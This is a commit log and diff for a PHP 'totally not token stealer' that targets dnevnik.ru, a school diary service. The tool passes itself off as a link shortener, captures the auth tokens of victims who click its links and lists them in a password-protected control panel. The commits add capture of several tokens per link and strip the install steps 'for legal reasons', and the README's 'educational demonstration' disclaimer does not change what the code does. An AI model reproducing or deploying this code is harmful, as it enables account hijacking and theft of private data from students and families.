3 Commits

Author SHA1 Message Date
katamaz 1abd0d4613 v 1.1.0
Build and Release / build-and-release (push) Successful in 46s
added multiple tokens catch
2026-08-22 17:41:26 +03:00
katamaz 32885844cd legal reasons 2026-08-22 17:39:47 +03:00
katamaz ee0daf0799 remove preview html 2026-08-22 16:54:02 +03:00
5 changed files with 40 additions and 273 deletions
+1
View File
@@ -1,2 +1,3 @@
totallynotstealeddata.* totallynotstealeddata.*
output.php output.php
preview.html
+2 -15
View File
@@ -4,23 +4,10 @@
## утилита **для сокращения ссылок** чтобы **НЕ** красть токены с дневника ру ## утилита **для сокращения ссылок** чтобы **НЕ** красть токены с дневника ру
---
## КАК **НЕ** УСТАНОВИТЬ
1. скачай `totallynottokenstealer.php` с Releases
2. выгрузи файл на любой php-хостинг
3. переименуй как душе угодно _(главное оставь расширение `.php`)_
4. поменяй пароль от панели в `PANEL_PASSWORD`
5. **готово!** панель открывается при помощи `?control` в url (по типу `example.com/example.php?control`)
---
![screenshoot](https://assets.ktkz.ru/tnts/s.png) ![screenshoot](https://assets.ktkz.ru/tnts/s.png)
---
## КАК **НЕ** БИЛДИТЬ ## билд
- используй `node ./builder.js` или какой раннер js вы там юзаете - используй `node ./builder.js` или какой раннер js вы там юзаете
- для **DEV** режима `node ./bulder.js --dev` - для **DEV** режима `node ./bulder.js --dev`
@@ -30,5 +17,5 @@
> [!CAUTION] > [!CAUTION]
> Я **НЕ НЕСУ ОТВЕТСТВЕННОСТИ** ЗА ТО, КАК ВЫ БУДЕТЕ ИСПОЛЬЗОВАТЬ ЭТО ПО. > Я **НЕ НЕСУ ОТВЕТСТВЕННОСТИ** ЗА ТО, КАК ВЫ БУДЕТЕ ИСПОЛЬЗОВАТЬ ЭТО ПО.
> ОНО БЫЛО СОЗДАННО ИСКЛЮЧИТЕЛЬНО **В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ**, И ДЕМОНСТРИРУЕТ ОТСУТСТВИЕ ЗАЩИТЫ ДНЕВНИКА.РУ. > ЭТО **ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ**.
> **НЕ ЗЛОУПОТРЕБЛЯЙТЕ ИМ!!** > **НЕ ЗЛОУПОТРЕБЛЯЙТЕ ИМ!!**
+10 -3
View File
@@ -527,7 +527,7 @@
</script> </script>
</body> </body>
<script> <script>
/** @param {{error?: string; password: string; data: {name: string; url: string; comment: string; token: string | null}[] }} data */ /** @param {{error?: string; password: string; data: {name: string; url: string; comment: string; tokens: string[]}[] }} data */
const appendData = (data) => { const appendData = (data) => {
if (data.error) { if (data.error) {
document.querySelector("[k-m-error]").innerHTML = renderTemplate( document.querySelector("[k-m-error]").innerHTML = renderTemplate(
@@ -543,8 +543,15 @@
let completedBlocks = []; let completedBlocks = [];
let activeBlocks = []; let activeBlocks = [];
data.data.forEach((item) => { data.data.forEach((item) => {
if (!!item.token) { if (item.tokens.length > 0) {
completedBlocks.push(renderTemplate("complete_row", item)); item.tokens.forEach(token => {
completedBlocks.push(renderTemplate("complete_row", {
name: item.name,
url: item.url,
comment: item.comment,
token
}));
});
} else { } else {
activeBlocks.push( activeBlocks.push(
renderTemplate("active_row", { renderTemplate("active_row", {
-243
View File
@@ -1,243 +0,0 @@
<!--
half ai slop
entire html just to screenshot
p.s.
— I love you, Саша
— Я тебя также
— Ты ведь хочешь?
— Даже очень!
-->
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
<style>
*,
*::before,
*::after {
box-sizing: border-box;
margin: 0;
padding: 0;
}
[k-template] {
display: none;
}
:root {
--bg: #0d0d0f;
--surface: #131316;
--surface2: #1a1a1f;
--border: rgba(255, 255, 255, 0.06);
--border-bright: rgba(255, 255, 255, 0.14);
--text: #ffffff;
--muted: #d3d3dd;
--too-muted: #84848f;
--blue: #4f8ef7;
--blue-dim: rgba(79, 142, 247, 0.12);
--green: #3ecf8e;
--green-dim: rgba(62, 207, 142, 0.12);
--red: #f76f6f;
--red-dim: rgba(247, 111, 111, 0.12);
}
body {
font-family: "JetBrains Mono", monospace;
background: var(--bg);
color: var(--text);
min-height: 100vh;
}
.shell {
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 2rem 1rem;
}
.card {
width: 100%;
max-width: 500px;
background: var(--surface);
border: 1px solid var(--border-bright);
border-radius: 12px;
overflow: hidden;
box-shadow:
0 0 0 1px rgba(0, 0, 0, 0.5),
0 24px 64px rgba(0, 0, 0, 0.6);
}
.titlebar {
background: var(--surface2);
border-bottom: 1px solid var(--border-bright);
padding: 12px 18px;
display: flex;
align-items: center;
gap: 12px;
position: relative;
}
.dots {
display: flex;
gap: 6px;
}
.dot {
width: 11px;
height: 11px;
border-radius: 50%;
}
.dot-r {
background: #f76f6f;
}
.dot-y {
background: #f5c842;
}
.dot-g {
background: #3ecf8e;
}
.titlebar-name {
font-size: 17px;
font-weight: 800;
color: var(--text);
margin-left: 20px;
margin-right: auto;
}
.titlebar-by {
position: absolute;
right: 20px;
height: 30px;
}
.card-body {
padding: 24px;
display: flex;
flex-direction: column;
gap: 24px;
}
.error-area p {
font-size: 12px;
color: var(--red);
background: var(--red-dim);
border: 1px solid rgba(247, 111, 111, 0.25);
border-radius: 6px;
padding: 8px 14px;
text-align: center;
}
.field {
background: var(--bg);
border: 1px solid var(--border-bright);
border-radius: 6px;
padding: 8px 12px;
color: var(--text);
font-family: inherit;
font-size: 12px;
outline: none;
transition:
border-color 0.15s,
box-shadow 0.15s;
width: 100%;
}
.field::placeholder {
color: var(--too-muted);
}
.field:focus {
border-color: var(--blue);
box-shadow: 0 0 0 3px var(--blue-dim);
}
textarea.field {
resize: none;
min-height: 68px;
}
.btn-add {
display: flex;
align-items: center;
gap: 6px;
background: var(--blue);
color: #fff;
font-family: inherit;
font-size: 11px;
font-weight: 700;
letter-spacing: 0.08em;
border: none;
border-radius: 6px;
padding: 7px 14px;
cursor: pointer;
transition:
background 0.15s,
transform 0.1s;
}
.btn-add:hover {
background: #6aa3ff;
}
.btn-add:active {
transform: scale(0.97);
}
.form{
display: flex;
align-items: center;
justify-content: center;
max-width: 600px;
gap: 6px;
}
</style>
</head>
<body>
<div id="t_error" k-template>
<p class="text-red-500 text-center">{{error}}</p>
</div>
<div class="shell">
<div class="card">
<div class="titlebar">
<div class="dots">
<span class="dot dot-r"></span>
<span class="dot dot-y"></span>
<span class="dot dot-g"></span>
</div>
<img src="https://assets.ktkz.ru/ktkzXtmb.svg" alt="" class="titlebar-by">
</div>
<div class="card-body">
<span class="titlebar-name">totally not token stealer</span>
</div>
</div>
<script>
/** @param {{error?: string}} data */
const appendData = (data) => {
if (data.error) {
document.querySelector("[k-m-error]").innerHTML = renderTemplate(
"error",
data,
);
}
};
/** @param {string} name
* @param {object} values
*/
const renderTemplate = (name, values) => {
const el = document.querySelector(`[k-template]#t_${name}`);
if (!el) return;
let d = el.innerHTML;
Object.keys(values).forEach((i) => {
d = d.split(`{{${i}}}`).join(values[i].toString());
});
return d;
};
window["_appendData"] = appendData;
</script>
<script>window._appendData("<<BUILDER_PHP_VAR($data)>>")</script>
</body>
</html>
+27 -12
View File
@@ -2,7 +2,7 @@
// totally not token stealer // totally not token stealer
// for dnevnik.ru // for dnevnik.ru
// ========================= // =========================
// by ktkz for tmb project // by ktkz
// 2026 // 2026
// go to .php?control to open control panel // go to .php?control to open control panel
@@ -32,8 +32,17 @@ function CONTROL_PAGE(string $data)
if (!file_exists(DATA_FILE_PATH)) { if (!file_exists(DATA_FILE_PATH)) {
file_put_contents( file_put_contents(
DATA_FILE_PATH, DATA_FILE_PATH,
'<?php // { "name": "tnts", "version": 1, "data": [] }', '<?php // { "name": "tnts", "version": 2, "data": [] }',
); );
} else {
$config = readConfig(true);
// migrate config to v2
if ($config['version'] > 2) {
for ($i = 0; $i < count($config['data']); $i++) {
$config['data'][$i]['tokens'] = $config['data'][$i]['token'] !== null ? [$config['data'][$i]['token']] : [];
unset($config['data'][$i]['token']);
}
}
} }
// ROUTER // ROUTER
function path(string $p) function path(string $p)
@@ -41,6 +50,7 @@ function path(string $p)
return count($_GET) > 0 && array_keys($_GET)[0] == $p; return count($_GET) > 0 && array_keys($_GET)[0] == $p;
} }
// open control panel
if (path("control")) { if (path("control")) {
if (!isset($_GET["l"]) || $_GET["l"] == "") { if (!isset($_GET["l"]) || $_GET["l"] == "") {
echo LOGIN_PAGE("{}"); echo LOGIN_PAGE("{}");
@@ -61,14 +71,14 @@ if (path("control")) {
json_encode([ json_encode([
"password" => $_GET["l"], "password" => $_GET["l"],
"data" => $config, "data" => $config,
"error" => $error, "error" => $error,
]), ]),
); );
exit(); exit();
} }
} }
function readConfig() function readConfig(bool $fullConfig = false)
{ {
$_ = json_decode( $_ = json_decode(
str_replace("<?php // ", "", file_get_contents(DATA_FILE_PATH)), str_replace("<?php // ", "", file_get_contents(DATA_FILE_PATH)),
@@ -77,12 +87,12 @@ function readConfig()
if ($_["name"] != "tnts" || !isset($_["data"])) { if ($_["name"] != "tnts" || !isset($_["data"])) {
exit(); exit();
} }
return $_["data"]; return $fullConfig ? $_ : $_["data"];
} }
function saveConfig(array $config) function saveConfig(array $config)
{ {
$_ = ["name" => "tnts", "version" => 1, "data" => $config]; $_ = ["name" => "tnts", "version" => 2, "data" => $config];
file_put_contents(DATA_FILE_PATH, "<?php // " . json_encode($_)); file_put_contents(DATA_FILE_PATH, "<?php // " . json_encode($_));
} }
// config type // config type
@@ -91,12 +101,13 @@ function saveConfig(array $config)
// "name": string, // "name": string,
// "url": string, // "url": string,
// "comment": string?, // "comment": string?,
// "token": string? // "tokens": string[]
// } // }
// } // }
// //
// define status by token presence // define status by token presence
// create link
if ( if (
isset($_GET["do"]) && isset($_GET["do"]) &&
$_GET["do"] === "create" && $_GET["do"] === "create" &&
@@ -106,7 +117,6 @@ if (
if (!isset($_GET["l"]) || $_GET["l"] == "" || $_GET["l"] != PANEL_PASSWORD) { if (!isset($_GET["l"]) || $_GET["l"] == "" || $_GET["l"] != PANEL_PASSWORD) {
exit(); exit();
} }
// create link
$url = $_GET["url"]; $url = $_GET["url"];
$name = $_GET["name"]; $name = $_GET["name"];
$comment = $_GET["comment"] ?? null; $comment = $_GET["comment"] ?? null;
@@ -135,7 +145,7 @@ if (
"name" => $name, "name" => $name,
"url" => $url, "url" => $url,
"comment" => $comment, "comment" => $comment,
"token" => null, "tokens" => [],
]; ];
saveConfig($config); saveConfig($config);
@@ -180,6 +190,8 @@ function getBaseUrl(): string
return $scheme . "://" . $host . $script; return $scheme . "://" . $host . $script;
} }
// step 1
// get token and return back
if (isset($_GET["go"])) { if (isset($_GET["go"])) {
$config = readConfig(); $config = readConfig();
$matches = array_values( $matches = array_values(
@@ -201,11 +213,12 @@ if (path("info")) {
header("Content-type: application/json"); header("Content-type: application/json");
echo json_encode([ echo json_encode([
"name" => "totally not token stealer", "name" => "totally not token stealer",
"version" => "1.0.0", "version" => "1.1.0",
"author" => "ktkz", "author" => "ktkz",
]); ]);
} }
// step 2
// send save page and redirect to destination
if (path("callback") && isset($_GET["name"])) { if (path("callback") && isset($_GET["name"])) {
$base = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH); $base = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
$config = readConfig(); $config = readConfig();
@@ -226,6 +239,8 @@ if (path("callback") && isset($_GET["name"])) {
exit(); exit();
} }
// step 2.1
// save
if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) { if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) {
$config = readConfig(); $config = readConfig();
$matches = array_values( $matches = array_values(
@@ -238,6 +253,6 @@ if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) {
exit(); exit();
} }
$config[array_search($matches[0], $config)]["token"] = $_GET["token"]; array_push($config[array_search($matches[0], $config)]["tokens"], $_GET["token"]);
saveConfig($config); saveConfig($config);
} }